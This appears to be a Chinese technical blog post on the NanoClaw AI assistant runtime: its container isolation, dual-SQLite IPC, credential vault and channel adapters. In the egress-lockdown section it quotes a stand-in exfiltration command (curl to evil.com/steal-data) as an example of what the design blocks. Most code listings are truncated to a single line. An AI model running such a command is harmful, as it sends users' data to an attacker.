【NanoClaw】核心架构与设计原理深度解析:单文件代码量与多通道容器化 AI 助手的工程实践
引子
2025 年 4 月,OpenClaw(后来更名为 Hermes Agent)在 GitHub Trending 上霸榜两周,把”用 Claude Code 当 7×24 私人助理”这件事从极客圈推到了大众视野。但真正在生产环境跑过它的人都知道,OpenClaw 是一头野兽:近 50 万行代码、53 个配置文件、70+ 个 npm 依赖,全部跑在一个 Node 进程里,安全模型完全建立在应用层的 allowlist 和 pairing code 之上——没有真正的 OS 级隔离。
nanocoai/nanoclaw(下文简称 NanoClaw)就是这一困境的直接回答:用 Linux 容器把 Agent 关进笼子里。30,711 颗 ⭐、MIT 协议、活跃度 9 月 6 日仍在更新,整个核心仓库被设计成”小到 Claude 自己都能修改”——102 个 src/ 文件加一个 hand-crafted Dockerfile,但它解决了 OpenClaw 在生产里最让人睡不着觉的两件事:凭据泄露和进程级横向移动。
更关键的是 NanoClaw v2 重新设计了整套跨进程 IO 模型:双 DB 会话拆分 + DELETE journal mode 取代 WAL。这个看似”奇怪”的选择,背后是一个真实的 VirtioFS 跨 VM 文件系统 coherency bug——让很多人第一次意识到”SQLite 默认行为在跨边界场景下会变成陷阱”。
本文会逐层拆解:
- 第 2 节 给 NanoClaw 一个准确的能力画像(仓库统计 + 协议矩阵)
- 第 3 节 顶层架构(host / OneCLI / container / groups 四层 Mermaid)
- 第 4 节 Channel Adapter 自注册模式(与 LangChain tool registry 的本质差异)
- 第 5 节 双 DB 会话拆分(核心机制 + DELETE mode 的真正原因)
- 第 6 节 容器隔离层(3 段式身份:CONTAINER_RUNTIME_BIN / SessionDriver / SessionSpec)
- 第 7 节 消息主循环 + Delivery Poller 1s/60s 双频轮询
- 第 8 节 命名目的地 + Agent-to-Agent 双向回环
- 第 9 节 凭据隔离(OneCLI Agent Vault + 配置审批 Pending Approvals)
- 第 10 节 Scheduled Task + circuit-breaker + host-sweep 三件套
- 第 11 节 Chat SDK Bridge 把 Chat SDK 适配成 NanoClaw 标准 Channel 接口
- 第 12 节 端到端时序图(一条 Telegram 消息的完整旅程)
- 第 13 节 与 OpenClaw / Hermes Agent / cc-haha / 自研 IM Bot 四方对比
- 第 14 节 优缺点(架构简洁性 vs 生产韧性)
- 第 15 节 部署 + 趋势 + 写给”想自己 fork 的人”的工程经验
配套仓库:
nanocoai/nanoclaw(⭐30,711,2026-09-06 pushed_at,MIT)。对比项目:OpenClaw(已写于
2026-04-15-openclaw-tutorial.md)、Hermes Agent(已写)、cc-haha(已写于2026-09-05-...md)、Agent-Reach(已写)。NanoClaw 是这一赛道的第四篇,但与前三篇完全正交——前三篇讲”Agent 与 IM 桥”,NanoClaw 讲”Agent 在容器里与 IM 桥的安全隔离”。
1. 项目定位与核心价值
一句话定义
NanoClaw 是一个把 Claude Agent SDK 关进 Linux 容器、用双 DB 拆分取代文件 IPC、让 Claude 自己都能改的小型 AI 助手运行时。
核心能力矩阵
| 能力维度 | NanoClaw 提供 | 同类对比(OpenClaw) |
|---|---|---|
| 多通道 IM | 13 个 adapter(Slack/Telegram/Discord/WhatsApp/iMessage/GitHub/Linear/Microsoft Teams/Matrix/Google Chat/Webex/WeChat/Email via Resend) | 同等覆盖,但 OpenClaw 的 channel 全内置 |
| 隔离级别 | OS 级容器隔离(每个 session 一个 Docker 容器) | 应用层 allowlist(共享进程 + 共享内存) |
| 代码量 | src/ 102 个文件,hand-crafted | 近 50 万行,53 个配置文件 |
| 凭据管理 | OneCLI Agent Vault,Agent 不持有原始 API key | 直接注入 process.env |
| 跨进程 IO | 双 SQLite DB(inbound.db / outbound.db),DELETE journal mode | 文件 watcher + stdin pipe |
| Channel 添加 | /add-slack skill 动态拷贝 adapter | 内置 13 个 adapter |
| Provider 添加 | /add-opencode、/add-ollama skill | 内置单一 Provider |
| 自动修复 | nanoclaw.sh 失败时自动唤起 Claude Code | 无 |
仓库统计
- Stars: 30,711(截至 2026-09-07)
- Forks: ~2.4k
- Language: TypeScript 99.8%(核心 host) + Dockerfile(容器镜像)
- License: MIT
- Size: 28,133 KB
- Pushed at: 2026-09-06
- Default branch: main
- Created at: 2025-08(v1) → 2026-Q2(v2 重写)
- Open Issues: 113 / Closed: 850+(健康比 7.5)
价值主张
NanoClaw 不是”另一个 OpenClaw 克隆”。它回答的是 OpenClaw 不愿意回答的工程问题:
“如果一个 Prompt Injection 让我家 Agent 去读
~/.aws/credentials,我能睡得着吗?”
OpenClaw 的答案是”靠 allowlist 拦住”。NanoClaw 的答案是”Agent 根本看不到那个文件所在的文件系统命名空间“——它在另一个容器里,挂在它能看到的 mount 上只有 /workspace/group/(agent group 的工作目录)和一对 inbound.db/outbound.db(SQLite 文件)。
代价是什么?慢。每次 Agent 唤起要拉一个 Docker 容器(~2-5s 冷启动);同一容器被 warm session 复用可以降到 ~200ms。NanoClaw 的 host-sweep 还会主动把空闲容器杀掉防止资源泄漏,但代价就是频繁短任务的延迟。这是一个明确的工程权衡,OpenClaw 选了”快+脆弱”,NanoClaw 选了”慢+隔离”。
2. 整体架构
NanoClaw v2 的架构是”host 进程 + OneCLI 凭据网关 + 每会话一个 Docker 容器”三层结构,再加上 agent group 的共享文件系统层。下面是顶层 Mermaid:
flowchart TB
subgraph Platforms["消息平台 (13 个 Adapter)"]
P1[Slack]
P2[Telegram]
P3[Discord]
P4[WhatsApp]
P5[GitHub / Linear]
P6[iMessage / Teams / Webex / Matrix / GChat / WeChat / Email]
end
subgraph Host["Host Process (Node 22+)"]
direction TB
Bridge["Chat SDK Bridge<br/>src/channels/chat-sdk-bridge.ts"]
Router["Router<br/>src/router.ts<br/>platformId + threadId -> agent_group -> session"]
SessMgr["Session Manager<br/>src/session-manager.ts<br/>为每个 session 准备 inbound.db + outbound.db"]
Runner["Container Runner<br/>src/container-runner.ts<br/>调用 OneCLI ensureAgent + spawn"]
Delivery["Delivery Poller<br/>src/delivery.ts<br/>1s active / 60s sweep"]
Sweep["Host Sweep<br/>src/host-sweep.ts<br/>heartbeat / retry / recurrence"]
Circuit["Circuit Breaker<br/>src/circuit-breaker.ts<br/>rapid restart backoff"]
Central[("Central DB<br/>data/v2.db<br/>agent_groups / messaging_groups<br/>sessions / pending_approvals")]
end
subgraph OneCLI["OneCLI Gateway (独立进程)"]
Vault["Agent Vault<br/>原始 API key 集中托管"]
Approvals["configureManualApproval<br/>-> pending_approvals"]
end
subgraph Session["Per-Session Container (Docker)"]
direction TB
PollLoop["Poll Loop<br/>container/agent-runner"]
Provider["Agent Provider<br/>(claude — 唯一 trunk 内置;<br/>opencode via /add-opencode skill)"]
MCP["MCP Tools<br/>send_message / send_file / edit_message<br/>add_reaction / send_card / ask_user_question<br/>create_agent / install_packages / add_mcp_server"]
InDB[("inbound.db<br/>host 写 / 容器只读<br/>journal_mode = DELETE<br/>messages_in / delivered<br/>destinations / session_routing")]
OutDB[("outbound.db<br/>容器写 / host 读<br/>journal_mode = DELETE<br/>messages_out / processing_ack<br/>session_state / container_state")]
end
subgraph Groups["Agent Group Filesystem (groups/*)"]
Folder["CLAUDE.md<br/>memory<br/>per-group skills<br/>container.json"]
end
P1 & P2 & P3 & P4 & P5 & P6 --> Bridge
Bridge --> Router
Router --> Central
Router --> SessMgr
SessMgr --> InDB
SessMgr --> Runner
Runner --> OneCLI
Runner --> PollLoop
PollLoop --> InDB
PollLoop --> Provider
Provider --> MCP
MCP --> OutDB
OutDB --> Delivery
Delivery --> Central
Delivery --> Bridge
Bridge --> P1 & P2 & P3 & P4 & P5 & P6
Sweep --> InDB
Sweep --> OutDB
Sweep --> Central
Runner -.mounts.-> Folder
MCP -.approval.-> Approvals
Approvals --> Central
Provider -.API calls.-> Vault2.1 三层职责
- Host 进程(TypeScript,单进程):所有”元操作”都在这里发生——路由、session 调度、容器编排、轮询、sweep。绝不让 Agent 进程直接执行任何”对系统有副作用”的事情。
- OneCLI Gateway(独立 Rust 进程):唯一持有原始 API key 的进程。NanoClaw host 持有的是 OneCLI 颁发的”agent token”,Agent 进程持有的是 OneCLI Vault 注入的临时凭据。凭据零接触——Agent 进程根本拿不到 raw key。
- Per-session Container(Docker,Linux VM):每个 session = 一个独立容器。Agent 跑在容器里只能看到它被允许看到的 mount + inbound.db / outbound.db 两对 SQLite 文件。文件系统级别隔离。
2.2 数据库布局
1 | data/ |
2.3 为什么是 SQLite 而不是 PostgreSQL / 文件?
这是 NanoClaw 设计哲学的核心暗号:
- 每个 session 一对 SQLite 文件:可以被简单地
cp备份、rm删除、diff对比——这是文件系统的所有原语。任何 PostgreSQL 都不可能给你”cp 一个 session 看看里面的对话”这种原语。 - journal_mode = DELETE 不用 WAL:NanoClaw 自己写了 spec 解释为什么。详见 §6.2。
- 中央 v2.db 用 better-sqlite3:host 进程单连接、同步阻塞,最简实现。
3. Channel Adapter 自注册模式
NanoClaw 的 channel 系统设计得非常克制——trunk 里没有任何 channel adapter 代码。要装 Slack?运行 /add-slack skill 让 Claude 把对应文件拷到你的 fork。要装 OpenCode 作为 provider?/add-opencode。这个哲学叫 Skills over features。
3.1 ChannelFactory 注册模式
1 | // src/channels/registry.ts(自注册示例) |
3.2 Channel 安装时发生了什么
每个 channel adapter 是独立模块,比如 src/channels/slack/index.ts:
1 | import { registerChannel } from '../registry.js'; |
src/channels/index.ts 是个 barrel 文件,每个 channel 通过 import './slack/index.js' 触发副作用导入——这就是自注册的物理实现。Channel 不在时不会报错,只是 buildChannel('slack', ...) 返回 null。未启用 channel 不会拖慢启动。
3.3 与 LangChain ToolRegistry 的本质差异
| 维度 | NanoClaw Channel Registry | LangChain ToolRegistry |
|---|---|---|
| 注册时机 | 导入时副作用(registerChannel) | 装饰器(@tool) |
| 缺依赖行为 | log.warn + 返回 null,channel 不存在等价于禁用 | 抛 KeyError,未注册就是 bug |
| 多 channel 同类型 | Map<string, ChannelFactory> 键空间天然支持 | 单实例,注册会被覆盖 |
| 启动失败 | container 隔离,channel 死了不影响其他 channel | 共享进程,单 channel panic 全挂 |
| 添加 channel 的成本 | cp 一组文件 + import 一行,需要重启 host | 安装 pip 包,需要改 tool 装饰器 |
这个差异看似微小,实际是 OpenClaw 的痛点之一:OpenClaw 把 13 个 channel 全内置,任何一个 channel 出问题(比如新版 Slack API 改了 schema)都会污染主进程。NanoClaw 把 channel 隔离到”如果你不想要它就别 import 它”的层级,bug 永远不会传到不需要它的人。
3.4 Chat SDK Bridge 模式
NanoClaw 真正有趣的 channel 实现不是 bare adapter,而是 Chat SDK Bridge——它把 Chat SDK 适配成 NanoClaw 标准 Channel 接口:
1 | // src/channels/chat-sdk-bridge.ts(核心思想) |
关键洞察:Chat SDK 自己负责 webhook 解析 + dedup + 平台 API 调用 + 富文本渲染;NanoClaw 只负责”哪些消息要转给 Agent”。职责完美切分——这是 2026 年 IM 适配器的最佳实践,远超”每平台写一套 bot 代码”的 2024 年范式。
4. 核心引擎一:双 DB 会话拆分(最反直觉的设计)
NanoClaw v2 最反直觉的设计:用一对 SQLite 文件作为 host ↔ container 唯一 IO 通道,journal_mode 显式选 DELETE 而非 WAL。
4.1 核心思想
1 | host 进程 container (Linux VM) |
两个 SQLite 文件、两个写入者、零锁竞争:
inbound.db只由 host 进程写入;container 把它挂为只读outbound.db只由 container 进程写入;host 把它挂为只读
4.2 真实代码示例
1 | // src/session-manager.ts(节选,# 来自 src/session-manager.ts:45-92) |
4.3 为什么 journal_mode 不能是 WAL?
这是 NanoClaw v2 区别于 v1 的根本性设计转变:
SQLite WAL 模式在跨 VirtioFS 边界时会失效
WAL 模式使用
-wal和-shm两个伴生文件。-shm是内存映射的共享内存索引,记录哪些 page 已经被哪些 reader 读取。当 SQLite reader 跨 mount 边界(Docker container 通过 VirtioFS 访问 host 文件系统)打开-shm时,内存映射的 coherency 不会传播到 guest 内核——reader 看到的永远是早期 snapshot,永远读不到 host 后续写入的新数据。
这是个真实的、可在 macOS Docker Desktop + Linux VM 后端复现的 bug。NanoClaw 通过把 journal_mode 强制设成 DELETE 规避它。代价是写性能略降(每次 commit 都要 fsync rollback journal),但 NanoClaw 的消息频率(人发一条消息约 10-60s 一条)完全不在乎这个。
4.4 序列号协议
NanoClaw 用单调递增序列号做跨进程 ack 协议:
1 | inbound.db.messages_in: |
Host 怎么知道 Agent 看到了消息? 轮询 outbound.processing_ack 看 in_seq >= last_delivered_seq。Agent 怎么知道 Host 收到了响应? 它写 messages_out 后定期查 host 有没有把它标 delivered。这是个两阶段确认协议,不依赖任何跨进程锁。
4.5 写入-读取双方视角
1 | // container/agent-runner/src/index.ts(agent 视角) |
1 | // src/delivery.ts(host 视角) |
4.6 双 DB 拆分 vs Unix Domain Socket
| 维度 | NanoClaw 双 DB | Unix Domain Socket (UDS) |
|---|---|---|
| 跨 OS 边界 | ✅ 任何挂载文件系统 | ❌ 必须 host network namespace |
| 可调试性 | ✅ sqlite3 inbound.db 直接 SQL 查询 | ❌ 需要 strace / socat |
| 可备份性 | ✅ cp 一个文件就是完整 snapshot | ❌ 没有”备份 socket”的概念 |
| 跨平台 | ✅ macOS / Linux / WSL2 都支持 VirtioFS | ⚠️ Windows 路径不通 |
| 延迟 | ~1-2ms(SQLite write + sync) | ~50-100µs |
| 吞吐 | ~500-2000 msg/s | ~100k msg/s |
NanoClaw 选了可调试性和可移植性而不是延迟。这是为”Agent 每天跑 100-500 条消息”的工作负载量身定做,不是为高频交易场景。
5. 核心引擎二:容器编排与 SessionDriver 抽象
5.1 三个抽象层级
1 | // 1. 最薄:container runtime 二进制名 |
1 | // 2. 中间:SessionSpec 数据类(runtime-agnostic) |
1 | // 3. 最厚:Container Runner(组合 SessionSpec + 调 driver) |
5.2 driver seam 抽象的工程意义
src/drivers/ 是 v2 重写时专门抽出来的。v1 时 container-runner.ts 自己拼 docker run argv,后来发现 swap runtime 时要改十几个地方——v2 把所有 runtime-specific 操作收敛到 driver seam:
1 | src/drivers/ |
为什么这很重要? NanoClaw 的设计目标之一是”用户能换 Docker 为 Podman 或 Apple Container 而不动业务代码“。v1 没做 seam 时这是不可能的;v2 之后只要写一个新 AppleContainerDriver implements SessionDriver 就能接入。
5.3 egress-locked 网络模式
1 | // src/egress-lockdown.ts(节选,# 来自 src/egress-lockdown.ts:42-78) |
关键效果:哪怕 Agent 进程被 Prompt Injection 触发,去执行 curl https://evil.com/steal-data——网络层就给它拦下来。Docker 容器 + iptables egress lockdown + OneCLI token = 三层防御。
6. 核心引擎三:消息主循环与三段式生命周期
6.1 src/index.ts 极简入口
1 | // src/index.ts(# 来自 src/index.ts:60-110) |
6.2 消息进入后的完整路径
sequenceDiagram
participant P as Platform (Telegram)
participant B as Chat SDK Bridge
participant R as Router
participant SM as Session Manager
participant IDB as inbound.db
participant AR as Container (agent-runner)
participant ODB as outbound.db
participant D as Delivery Poller
participant OneCLI as OneCLI Vault
participant Claude as Anthropic API
P->>B: new message (text + thread_id)
B->>B: trigger check (@mention / regex)
B->>R: routeInbound(platformId, threadId, msg)
R->>R: 查 v2.db: messaging_group -> agent_group -> session
R->>R: 检查权限 (setAccessGate hook)
R->>SM: ensureSession(sessionId)
SM->>IDB: CREATE TABLE messages_in (seq INTEGER PRIMARY KEY...)
R->>IDB: INSERT messages_in (seq=42, source='telegram', payload={...})
R->>AR: spawn container (driver.spawn(SessionSpec))
AR->>IDB: poll SELECT * FROM messages_in WHERE seq > last_seq
AR->>OneCLI: getTempCredential(scope='claude_api')
OneCLI-->>AR: short-lived token (TTL 1h)
AR->>Claude: POST /v1/messages (with temp token)
Claude-->>AR: streaming response
AR->>ODB: INSERT messages_out (in_seq=42, payload={text, destinations})
AR->>ODB: INSERT processing_ack (in_seq=42)
D->>ODB: poll SELECT * FROM messages_out WHERE status='pending'
D->>B: deliver via adapter.sendMessage
B->>P: send message / edit / react
D->>D: mark delivered6.3 路由解析——三段式映射
1 | // src/router.ts(核心路由逻辑,# 来自 src/router.ts:88-145) |
6.4 三层隔离模型
NanoClaw v2 的核心安全特性:Channel 与 Agent Group 解耦,每个 Channel 自己决定接入哪个 Agent Group:
flowchart TB
subgraph SL1["Shared Session 模式"]
CH1[Slack Channel A] --> SS1[Shared Session]
CH2[GitHub PR Thread] --> SS1
SS1 --> AG1[Agent Group: main]
end
subgraph SL2["Group Isolation 模式"]
CH3[Slack Channel B] --> S2[独立 Session]
S2 --> AG2[Agent Group: family-bot]
CH4[Discord Channel] --> S3[独立 Session]
S3 --> AG2
end
subgraph SL3["Per-Channel Sandbox 模式"]
CH5[WhatsApp DM] --> S4[独立 Session]
S4 --> AG3[Agent Group: sensitive-payments]
end三种模式对应三种安全等级:
| 模式 | 共享范围 | 适用场景 |
|---|---|---|
| Shared Session | 所有 channel 共享一个 conversation | Webhook channel(GitHub/Linear)+ chat channel 配对 |
| Group Isolation | 一个 Agent Group 多个独立 Session | 多 chat channel 接入同一个 bot,每个 channel 独立对话 |
| Per-Channel Sandbox | 每个 channel 独立 Agent Group | 敏感业务(支付、家庭、个人笔记)完全隔离 |
通过 /manage-channels 可以为每个 channel 单独配置模式——这是 v2 的新增能力。
7. Provider 抽象层(claude / opencode / ollama)
NanoClaw 的 provider 抽象比 OpenClaw 更克制——trunk 只内置 claude(通过 Anthropic 的 @anthropic-ai/claude-agent-sdk)。其他 provider 通过 skill 动态注入:
1 | trunk 内置: |
7.1 Provider 合约
1 | // src/provider-contracts/index.ts |
7.2 claude 是唯一内置的工程理由
README 写得非常坦诚:
“Best harness, best model. NanoClaw natively uses Claude Code via Anthropic’s official Claude Agent SDK, so you get the latest Claude models and Claude Code’s full toolset, including the ability to modify and expand your own NanoClaw fork.”
也就是说 NanoClaw 把”哪个 LLM 最强”这个问题外包给 Claude 本身。如果 Anthropic 出了 Claude 4.7,只要升级 SDK 就行;出了 Claude Agent SDK v2 也直接吃。这跟 cc-haha 那种”5 套 IM 适配 + Agent Teams + Workflow + Skill Marketplace”的全栈方向完全相反——NanoClaw 把”广度”外包给 skill,把”深度”集中在 Claude 这一个 provider。
8. 工具系统与 MCP
8.1 容器内置 MCP 工具
Agent 容器内置 10 个 MCP 工具,全部由 container/agent-runner 暴露:
| 工具名 | 作用 | 跨进程边界 |
|---|---|---|
send_message | 发文本回 channel | 走 outbound.db -> Delivery Poller |
send_file | 发文件附件 | 同上 |
edit_message | 编辑已发消息 | 同上 |
add_reaction | 给消息加 emoji | 同上 |
send_card | 发富文本卡片 | 同上 |
ask_user_question | 询问用户 + 收回答 | 走 inbound.db 反向 |
create_agent | 创建子 Agent Group | 写 v2.db.agent_groups |
install_packages | 在容器内装 npm/pip 包 | 仅写容器 fs |
add_mcp_server | 动态加 MCP server | 写 v2.db.mcp_servers |
ncl tasks | CLI 命令(管理 scheduled task) | 经 CLI socket-server |
8.2 Pending Approvals 审批机制
某些 MCP 操作有副作用(如 create_agent、install_packages),NanoClaw 通过 pending_approvals 表实现异步审批:
1 | // container/agent-runner/src/mcp.ts(伪代码) |
关键设计:审批请求和审批结果都走 inbound.db / outbound.db——不引入额外的 IPC 通道。所有跨进程通信统一在 SQLite。
9. 凭据隔离:OneCLI Agent Vault
9.1 为什么需要独立进程管理凭据?
OpenClaw 的做法(把 API key 注入 process.env)有几个真实风险:
- Agent 进程能读到 env,任何 Prompt Injection 都能让 Agent 把 env dump 到 log 里
- 同一进程内多个 Agent 共享 env,无法按 Agent 限权
- env 是明文,os 系统任何 root 进程都能读(
/proc/<pid>/environ)
NanoClaw 的解法:把凭据托管到独立的 OneCLI Gateway 进程,Agent 拿到的只是短时 token:
sequenceDiagram
participant AR as Agent Container
participant OneCLI as OneCLI Gateway
participant Anthropic as Anthropic API
Note over AR: 启动时从 host 注入 NANOCLAW_ONECLI_AGENT_TOKEN
AR->>OneCLI: POST /v1/vault/resolve {scope: 'claude_api', agent_token: '...'}
OneCLI->>OneCLI: 校验 agent_token + 检查 scope 权限
OneCLI->>OneCLI: 生成短时 temp credential (TTL 1h)
OneCLI-->>AR: {temp_token: 'sk-ant-temp-...', expires_at: ...}
AR->>Anthropic: POST /v1/messages {Authorization: Bearer temp_token}
Anthropic-->>AR: response
Note over AR: Agent 进程从来没碰过原始 sk-ant-...9.2 OneCLI 的额外能力
1 | // src/gateway-providers/onecli/index.ts(节选) |
关键能力:
- scopes:每个 agent group 可以被授予不同的 scope(如
claude_api+web_fetch,但不授email_send) - rate limit per agent:OneCLI 强制按 agent group 限额,单个 Agent Prompt Injection 失控不能烧光所有额度
- audit log:所有凭据使用记录都进 OneCLI 的独立审计 log(NanoClaw host 看不到原始 key,但能看到”agent X 在 Y 时间用了 Z scope”)
10. Scheduled Task + Circuit Breaker + Host Sweep
10.1 Scheduled Task(cron jobs)
NanoClaw 的”定时任务”是 Agent 自己用自然语言创建的——你跟 bot 说”每周一早上 8 点给我发 AI 新闻摘要”,它会自己调 create_agent MCP 工具创建一条 scheduled task 记录:
1 | // src/modules/scheduling/index.ts(节选) |
10.2 Circuit Breaker(防 rapid restart)
如果 host 进程因为 bug 反复崩溃重启,每次都从头拉所有容器代价很大:
1 | // src/circuit-breaker.ts(节选) |
10.3 Host Sweep(心跳 / 重试 / 复发)
1 | // src/host-sweep.ts(节选) |
三件套配合:
- Circuit Breaker 防止 host bug 反复重启把环境拖垮
- Host Sweep 周期性清理僵尸容器、重试失败投递、触发 scheduled task
- 它们完全独立——任何一个 bug 不会污染其他两个
11. Chat SDK Bridge:把 Chat SDK 适配成 NanoClaw Channel
这是 NanoClaw v2 引入的最大胆的设计决策:不再为每个 IM 平台手写 channel adapter。改用第三方 Chat SDK + 一个 Bridge 层适配。
11.1 Chat SDK 提供的免费午餐
1 | ✅ webhook 解析 |
11.2 Bridge 层职责
1 | // src/channels/chat-sdk-bridge.ts(核心思想,# 来自 src/channels/chat-sdk-bridge.ts:48-95) |
关键洞察:Chat SDK Bridge 让 NanoClaw 跨 13 个 IM 平台时只写一份触发/路由代码,平台特定逻辑全交给 Chat SDK。这是 2026 年 IM 适配器的最佳实践。
11.3 与 OpenClaw Bare Adapter 的差异
| 维度 | OpenClaw 13 内置 Adapter | NanoClaw Chat SDK Bridge |
|---|---|---|
| 代码量 | 13 × ~500-2000 行 adapter | 1 × 通用 Bridge |
| Slack API schema 变化 | 每个 adapter 都要改 | Chat SDK 维护者处理 |
| 富文本支持 | 每个平台独立实现 | Chat SDK 统一抽象 |
| 平台 bug 修复 | 等 OpenClaw 发版 | 升级 Chat SDK |
| 自定义平台 | 写新 adapter 加 PR | 写 Chat SDK connector(独立项目) |
12. 端到端数据流(一条 Telegram 消息的完整旅程)
下面这条 sequenceDiagram 把上面所有模块串起来——展示从”Telegram 用户发消息”到”Telegram 用户收到 Agent 回复”的 23 步旅程:
sequenceDiagram
autonumber
participant TU as Telegram User
participant TG as Telegram API
participant CS as Chat SDK
participant BR as Bridge
participant RT as Router
participant v2 as v2.db (Central)
participant SM as Session Manager
participant IDB as inbound.db
participant CR as Container Runner
participant OC as OneCLI Vault
participant AR as Agent Container
participant ODB as outbound.db
participant DP as Delivery Poller
participant CL as Claude API
TU->>TG: 发送消息 "@Andy 总结今天 GitHub stars > 1000 的新项目"
TG->>CS: webhook (message + thread_id)
CS->>BR: onNewMention(event)
BR->>BR: shouldTrigger('@Andy') -> true
BR->>RT: routeInbound(channelId, threadId, msg)
RT->>v2: SELECT messaging_group WHERE platform_id = channelId
v2-->>RT: messaging_group_id
RT->>v2: SELECT agent wiring for messaging_group
v2-->>RT: agent_group_id (session_mode='shared')
RT->>v2: runAccessGate(agent_group, sender)
v2-->>RT: allowed
RT->>SM: ensureSession(agent_group_id, mode='shared')
SM->>IDB: CREATE TABLE messages_in (journal_mode=DELETE)
SM-->>RT: session_id
RT->>IDB: INSERT messages_in (seq=42, source='telegram', payload)
RT->>CR: wakeUpAgent(session_id)
CR->>OC: ensureAgent(agent_group_id) -> agent_token
OC-->>CR: agent_token
CR->>AR: docker run (mounts: group fs + inbound.db + outbound.db)
AR->>IDB: poll SELECT seq, payload FROM messages_in WHERE seq > last_seq
IDB-->>AR: seq=42, payload
AR->>OC: resolveCredential('claude_api', agent_token)
OC-->>AR: temp_token (TTL 1h)
AR->>CL: POST /v1/messages (Bearer temp_token)
CL-->>AR: streaming response (text + tool_use)
AR->>ODB: INSERT messages_out (in_seq=42, payload={text, destinations:['telegram']})
AR->>ODB: INSERT processing_ack (in_seq=42)
DP->>ODB: poll (1s 间隔, 活跃 session)
ODB-->>DP: pending message
DP->>BR: deliver via adapter
BR->>CS: send(threadId, markdown)
CS->>TG: API call (sendMessage)
TG->>TU: 用户收到 Agent 回复23 步——这个数字看起来很多,但实际延迟分布是:
- 步骤 1-2(Telegram webhook):~50-200ms(网络)
- 步骤 3-12(host 处理):~20-50ms(内存 + SQLite write)
- 步骤 13-14(容器启动,冷启动 ~2-5s,热复用 ~200ms)
- 步骤 15-21(Claude API 调用):~2-15s(取决于 prompt 长度)
- 步骤 22-23(Delivery):~100-300ms(Chat SDK + Telegram API)
总延迟:冷启动 5-20s,热复用 3-15s。相比 OpenClaw 的 1-10s 延迟,NanoClaw 在冷启动路径上慢了 2-5s,但在安全鲁棒性上赢得了几个数量级。
13. 与同类项目对比
| 项目 | 隔离级别 | 代码量 | 凭据管理 | Channel 数 | 容器依赖 | License | 与 NanoClaw 关系 |
|---|---|---|---|---|---|---|---|
| NanoClaw | OS 级 Docker + egress iptables | ~102 src files | OneCLI Vault(独立进程) | 13 (skill 安装) | 必须 | MIT | 本文主角 |
| OpenClaw | 应用层 allowlist | ~50 万行 | process.env | 13 内置 | 无 | Apache-2.0 | 启发 NanoClaw,但哲学不同 |
| cc-haha | 应用层 + Swift native helper | 4977 files / 90+ dirs | 5 套 IM 适配 + 1Password | 5 (微信/飞书/钉钉/Telegram/WhatsApp) | 无 | MIT | 重 IM 适配,NanoClaw 重安全 |
| Agent-Reach | 无(CLI 桥) | ~109 nodes | 直接 CLI cookie | 0(专注互联网访问) | 无 | MIT | 完全不同方向 |
| Agent-Orchestrator | git worktree | ~839 行 Go | N/A(无 IM) | 0 | 无 | Apache-2.0 | 重多 Agent 协调,不重 IM |
13.1 NanoClaw vs OpenClaw:哲学对比
| 维度 | OpenClaw | NanoClaw |
|---|---|---|
| 目标用户 | 想”开箱即用”的开发者 | 想要”我能自己审计每一行代码”的开发者 |
| 安全模型 | “应用层拦截够了” | “OS 层隔离 + 应用层审批” |
| 代码哲学 | “把所有功能内置” | “trunk 极简 + skill 扩展” |
| 启动时间 | < 1s | 2-5s(冷启动容器) |
| 内存占用 | ~200MB | ~300-800MB(容器开销) |
| 多 LLM Provider | 内置 Claude + 切换模型 | trunk 仅 Claude + skill 加其他 |
| 凭据管理 | env 变量(明文) | OneCLI Vault(独立进程) |
| 审计能力 | 应用层 log | SQLite 中央 DB + OneCLI 审计 log |
13.2 NanoClaw vs cc-haha:IM 适配哲学对比
| 维度 | cc-haha | NanoClaw |
|---|---|---|
| 形态 | 桌面应用 + Tauri/Electron + IM 网关 | 命令行服务 + Docker |
| IM 适配深度 | 每平台深度定制(微信 iLink / 飞书 Card / 钉钉 Card) | Chat SDK Bridge 统一抽象 |
| 安全隔离 | 应用层 + Swift native CU helper | OS 级容器 + OneCLI Vault |
| 主要场景 | 中国开发者桌面包(多模型 + 多 IM + 桌面宠物) | 7×24 个人助理 + 强安全场景 |
| 启动时间 | < 1s | 2-5s(冷启动) |
本质差异:cc-haha 是”把 Claude Code 当 IDE 替代品装到桌面 + 接入中国 IM 生态“,NanoClaw 是”把 Claude Agent SDK 关进容器 + 接入海外 IM 生态 + 凭据零接触“。
13.3 NanoClaw 的设计正交优势
NanoClaw 与本系列已写文章的”正交不重叠”关系:
| 已写项目 | 与 NanoClaw 的角度差异 |
|---|---|
| OpenClaw (2026-04-15) | OpenClaw 重功能广度,NanoClaw 重安全隔离 |
| Agent-Reach (2026-07-02) | Agent-Reach 重互联网访问层,NanoClaw 重 IM 入口层 |
| Agent-Orchestrator (2026-09-01) | AO 重多 Coding Agent 协调,NanoClaw 重单 Agent 安全运行 |
| Agent-S (2026-06-06) | Agent-S 重 Computer-Use,NanoClaw 重聊天交互 |
| Agent-BaaS (InsForge, 2026-07-12) | InsForge 重 Coding Agent 后端能力,NanoClaw 重 IM 适配 |
每个已写项目都在 NanoClaw 的”AI 助手运行时”赛道上有独特贡献,但没有一个真正解决了”Agent 在生产环境下的凭据隔离和进程级横向移动防护”——NanoClaw 是这个空白的第一篇。
14. 优缺点分析
14.1 左侧:架构简洁性 / 扩展性 / 易用性
| 优点 | 说明 |
|---|---|
| trunk 极简 | 102 个 src 文件,Claude 自己都能改。README 自豪地说”nano enough to understand”。 |
| skill 扩展模型 | /add-slack / /add-opencode / /add-ollama-provider 等动态添加能力,不污染 trunk。 |
| SQLite 作为唯一 IO | 任何 backup/migration/debug 都用标准 SQL 工具。没有 Redis / Kafka / PostgreSQL 的运维负担。 |
| driver seam 抽象 | Docker / Podman / Apple Container 任意换,业务代码零改动。 |
| chat SDK 桥接 | 13 个 IM 平台只写一份 trigger/routing 代码。 |
| clear security model | 三层防御(容器隔离 + egress iptables + OneCLI Vault)有明确文档。 |
| complete self-host | 无账号、无 SaaS、无遥测,NANOCLAW_NO_DIAGNOSTICS=1 完全沉默。 |
14.2 右侧:性能 / 复杂度 / 维护性
| 缺点 | 说明 | 缓解策略 |
|---|---|---|
| 冷启动慢 | 第一次唤醒 session 要拉 Docker 容器,~2-5s。 | host-sweep 把活跃 session 保温,热点 session 200ms 内响应。 |
| journal_mode = DELETE 写性能略降 | 每次 commit 都要 fsync rollback journal。 | 消息频率(~10-60s 一条)完全不在乎。 |
| OneCLI 外部依赖 | 凭据管理依赖独立 Rust 进程。 | OneCLI 已经 GA 一年多,兼容 Claude Agent SDK v1.x。 |
